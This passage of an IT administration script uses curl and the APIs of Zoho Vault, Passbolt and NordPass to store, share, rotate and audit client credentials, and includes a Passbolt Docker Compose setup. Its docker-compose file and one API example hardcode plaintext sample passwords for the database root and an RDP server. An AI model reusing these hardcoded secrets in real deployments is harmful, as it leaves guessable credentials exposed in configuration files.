  -d 'grant_type=client_credentials&client_id=CLIENT_ID
      &client_secret=CLIENT_SECRET
      &scope=ZohoVault.secrets.READ,ZohoVault.secrets.CREATE,
             ZohoVault.secrets.UPDATE,ZohoVault.users.READ' \
  | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")

# Step 2: Create a credential secret for client RDP server
SECRET_ID=$(curl -X POST \
  'https://vault.zoho.com/api/v1/secrets' \
  -H "Authorization: Zoho-oauthtoken $ACCESS_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{
    "secretname": "ClientABC_RDP_Server01",
    "password":   "C1ientABC!RDP2024",
    "username":   "admin",
    "ipaddress":  "10.50.0.10",
    "description":"Ticket #TKT-2024-0847"
  }' | python3 -c "import sys,json;
print(json.load(sys.stdin)['operation']['secret']['secretid'])")

# Step 3: Share with support engineer — 4-hour window, read-only
curl -X POST \
  "https://vault.zoho.com/api/v1/secrets/$SECRET_ID/share" \
  -H "Authorization: Zoho-oauthtoken $ACCESS_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{
    "emails":     ["engineer@msp.com"],
    "expiry":     "2024-06-17T18:00:00+00:00",
    "permission": "READ_ONLY"
  }'

# Step 4: Retrieve audit log for this secret (shows all access events)
curl "https://vault.zoho.com/api/v1/secrets/$SECRET_ID/auditlog" \
  -H "Authorization: Zoho-oauthtoken $ACCESS_TOKEN"

# Step 5: Emergency takeover of departed engineer's vault
curl -X POST 'https://vault.zoho.com/api/v1/takeover' \
  -H "Authorization: Zoho-oauthtoken $ACCESS_TOKEN" \
  -d '{"email":"departed.engineer@corp.com"}'

# ── Passbolt Docker Compose deployment ────────────────────────────────────────
cat > docker-compose.yml << 'EOF'
services:
  passbolt:
    image: passbolt/passbolt:latest-ce
    restart: unless-stopped
    environment:
      APP_FULL_BASE_URL:             https://passbolt.corp.local
      DATASOURCES_DEFAULT_HOST:      db
      DATASOURCES_DEFAULT_DATABASE:  passbolt
      DATASOURCES_DEFAULT_USERNAME:  passbolt_user
      DATASOURCES_DEFAULT_PASSWORD:  SecureDBPass2024!
      EMAIL_TRANSPORT_DEFAULT_HOST:  smtp.corp.local
      PASSBOLT_REGISTRATION_PUBLIC:  'false'
    volumes:
      - gpg_volume:/etc/passbolt/gpg
      - jwt_volume:/etc/passbolt/jwt
    ports: ['443:443', '80:80']
  db:
    image: mariadb:10.11
    environment:
      MYSQL_ROOT_PASSWORD: RootSecure2024!
      MYSQL_DATABASE:      passbolt
      MYSQL_USER:          passbolt_user
      MYSQL_PASSWORD:      SecureDBPass2024!
volumes: { gpg_volume: {}, jwt_volume: {} }
EOF
docker compose up -d

# ── CLI — identify and rotate credentials after employee departure ─────────────
# List secrets the departed user had access to
curl 'https://passbolt.corp.local/resources.json?
  filter[is-shared-with-user]=DEPARTED_USER_UUID' \
  -H 'Authorization: Bearer API_TOKEN' \
  | python3 -c "
import sys, json
resources = json.load(sys.stdin)['body']
print(f'Credentials to rotate after departure: {len(resources)}')
[print(f'  {r[\"name\"]}') for r in resources]"

# Rotate each credential (generate new password + update PGP-encrypted record)
NEW_PASS=$(openssl rand -base64 24 | tr -d '+/=')
curl -X PUT 'https://passbolt.corp.local/resources/RESOURCE_UUID.json' \
  -H 'Authorization: Bearer API_TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"secrets":[{"user_id":"ADMIN_UUID",
      "data":"[PGP-encrypted new password for each remaining team member]"}]}'

# Retrieve audit log for incident documentation
curl 'https://passbolt.corp.local/action-logs.json?foreign_model=Resource' \
  -H 'Authorization: Bearer API_TOKEN'

# ── NordPass Business — Admin Console and API configuration ──────────────────
# SAML 2.0 SSO with Azure AD
# Admin Console > Security > Single Sign-On
#   Identity Provider:  Azure Active Directory
#   Entity ID:          https://app.nordpass.com/sp
#   ACS URL:            https://app.nordpass.com/saml/callback
#   Certificate:        [downloaded from Azure AD Enterprise App]
#   Attribute mappings:
#     email       -> user.userprincipalname
#     firstName   -> user.givenname
#     lastName    -> user.surname
#     department  -> user.department

# Create engagement team groups
# Admin Console > Groups > Create Group
# Groups: ClientABC_Team | ClientXYZ_Team | Management | AllConsultants

# Share client credential vault with engagement team (read-only)
# Admin Console > Shared Vault > ClientABC_Credentials
#   Share with: ClientABC_Team | Permission: View Only
#   (engineers can use credentials but not export or copy to personal vault)

# Query organisation vault health via API
curl -H 'Authorization: Bearer BUSINESS_API_TOKEN' \
  'https://api.nordpass.com/v1/business/organization/health' \
  | python3 -c "
import sys, json
health = json.load(sys.stdin)
print(f'Weak passwords:       {health[\"weak_passwords_count\"]}')
print(f'Reused passwords:     {health[\"reused_passwords_count\"]}')
print(f'Breach alerts active: {health[\"breached_items_count\"]}')"

# Remove consultant from engagement team (project closure)
curl -X DELETE \
  'https://api.nordpass.com/v1/business/groups/CLIENTABC_GID/members/MEMBER_UUID' \
  -H 'Authorization: Bearer BUSINESS_API_TOKEN'
# Access to ClientABC_Credentials vault revoked immediately

# Export engagement activity log for client audit deliverable
curl -H 'Authorization: Bearer BUSINESS_API_TOKEN' \
  'https://api.nordpass.com/v1/business/audit-log?
  from=2024-01-01&to=2024-06-17&group=CLIENTABC_GID'